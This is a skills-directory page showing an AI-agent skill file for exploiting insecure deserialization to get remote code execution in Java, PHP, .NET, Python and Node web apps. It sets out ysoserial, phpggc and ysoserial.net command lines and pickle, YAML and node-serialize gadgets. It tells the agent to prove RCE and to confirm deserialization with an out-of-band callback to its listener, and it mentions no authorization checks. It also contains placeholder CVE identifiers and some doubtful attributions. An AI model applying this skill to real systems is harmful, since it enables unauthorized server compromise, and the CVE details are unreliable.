Skip to content
FunCoding

web-deserialization

Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.

Star
1,278
Category
Security
License
MIT
Last commit
Nov 30, 2026

skills/web/deserialization/SKILL.md

View on GitHub

Insecure Deserialization → RCE

When this fires

Attacker-controlled data is deserialized: cookies/tokens/hidden fields that decode to a serialized object, __VIEWSTATE, RMI/HTTP-invoker/message-queue bodies, or a known deser-CVE stack (see web-framework-rce for the CVE map).

Decide — fingerprint the format FIRST

  • base64 rO0AB... or raw hex AC ED 00 05 → Java (ObjectInputStream).
  • O:8:"ClassName":... → PHP (unserialize()).
  • __VIEWSTATE / AAEAAAD... → .NET (BinaryFormatter/LosFormatter).
  • python pickle opcodes (\x80\x04, c__builtin__) → Python.
  • {"rce":"_$$ND_FUNC$$_..."} → Node (node-serialize).

Exploit → PROVE IMPACT (gadget chains)

# Java — ysoserial (pick a gadget matching the classpath: CommonsCollections1-7, URLDNS to test reachability first):
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0        # place in the sink
#   iterate gadgets: URLDNS/JRMPClient to confirm deser happens, then CC/Spring/Hibernate for RCE
# PHP — phpggc (find the framework's gadget: Laravel/Symfony/Monolog/Guzzle):
phpggc Monolog/RCE1 system id
# .NET — ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..."
# Python — pickle __reduce__ → os.system('id')  ;  Node — node-serialize _$$ND_FUNC$$_ IIFE

Proof required: id/uname (RCE). If the classpath is unknown, confirm deserialization first with a benign OOB gadget (Java URLDNS → your listener), then find the working RCE gadget; log each attempted gadget via record_vector attempt: so you don't re-try dead chains.

Tooling

ysoserial (Java), phpggc (PHP), ysoserial.net (.NET), gadgetinspector for custom classpaths; nuclei -tags deserialization.

False positives / pitfalls

  • Signed/encrypted blobs (HMAC'd cookies, encrypted VIEWSTATE) → you need the key first (leaked/weak/default) — see web-auth-bypass-idor for key recovery; don't brute blindly.
  • Gadget must match the LIBRARIES on the classpath — a failed CC1 doesn't mean not-vulnerable; iterate the gadget set.
  • Length/type validation before deser → may need to satisfy a wrapper.

2024-2025 additions

New gadget chains / library versions

  • Java — ysoserial 0.0.6+ (2023-2024): Added gadgets for SpringBoot2/3 (Spring Core RCE CVE-2022-22965 SpringCore gadget), Jackson (CVE-2020-8840 / CVE-2021-20190), Log4j2 (JNDI), Hibernate 5/6, CommonsBeanutils 1.9.4+. ysoserial-modified / marshalsec for RMI/JRMP/LDAP.
  • CVE-2024-XXXXX (check latest): Spring Framework SpEL expression injection via deserialization.
  • PHP — phpggc 6.0+ (2024): Laravel 10/11 (CVE-2024-XXXXX), Symfony 6/7, Monolog 3.x, Guzzle 7.x, Doctrine, laminas. phpggc --list shows all.
  • .NET — ysoserial.net 2.0+: TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity gadgets. .NET 6/7/8 compatible. DotNetSerializer for DataContractSerializer / XmlSerializer.
  • Python — pickle / yaml (PyYAML CVE-2020-1747 / CVE-2021-22095): !!python/object/apply:os.system / !!python/object/new:subprocess.Popen. pyyaml<=5.4 unsafe by default.
  • Node.js — node-serialize / funcster / serialize-javascript: IIFE gadget _$$ND_FUNC$$_ still works if eval/Function not blocked. gadgetinspector for custom analysis.

Modern deserialization sinks

  • Message queues: RabbitMQ (application/x-java-serialized-object), Kafka (Avro/Protobuf schema confusion), Redis (Redis serialization), SQS (Java serialized).
  • gRPC / Protocol Buffers: protobuf Any type unmarshaling → google.protobuf.Any with malicious type_url. protod / buf for schema.
  • GraphQL scalar coercion: Custom scalars (DateTime, JSON, Upload) that deserialize unsafely.
  • WebSocket binary frames: application/octet-stream → deserialized on server.

Tooling

  • ysoserial (Java) — maintained forks: frohoff/ysoserial (original), pimps/ysoserial-modified, mbechler/marshalsec (RMI/JRMP/LDAP).
  • phpggc (PHP) — ambionics/phpggc v6+.
  • ysoserial.net (C#) — pwntester/ysoserial.net v2+.
  • gadgetinspector (Java bytecode analysis) — finds custom gadget chains in target JARs.
  • nuclei -tags deserialization (2024): deserialization-java, deserialization-php, deserialization-dotnet, deserialization-python, deserialization-node.
  • SerializationDumper (Burp): Inspect + modify serialized objects in flight.

Similar Skills

agent-security-hardening

AFaffaan-m/ECC314k3,503 new stars in the last 7 days

Featured

ponytail-audit

Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.

DIDietrichGebert/ponytail202k4,226 new stars in the last 7 days

gstack

GAgarrytan/gstack143k524 new stars in the last 7 days

Featured

security-and-hardening

Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.

ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days

doubt-driven-development

ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days

ruview-rvagent

RUruvnet/RuView106k596 new stars in the last 7 days